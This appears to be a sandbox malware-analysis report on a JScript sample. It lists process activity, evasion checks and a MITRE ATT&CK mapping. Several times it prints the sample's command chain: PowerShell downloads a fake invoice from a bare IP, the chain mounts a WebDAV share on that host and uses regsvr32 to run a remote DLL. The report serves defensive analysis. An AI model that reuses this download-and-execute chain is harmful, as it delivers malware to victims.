Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2397.js.csv");ITextStream.WriteLine(" entry:6916 f:mrravda");ITextStream.WriteLine(" exec:2 f:mrravda");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49741

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4828			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5073			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2948	Thread sleep count: 4828 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1908	Thread sleep count: 5073 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5988	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3540	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2496	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2253977459.0000014632D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632DD0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3474235034.000001B40BE59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3472997890.000001B40682B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2253977459.0000014632DDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
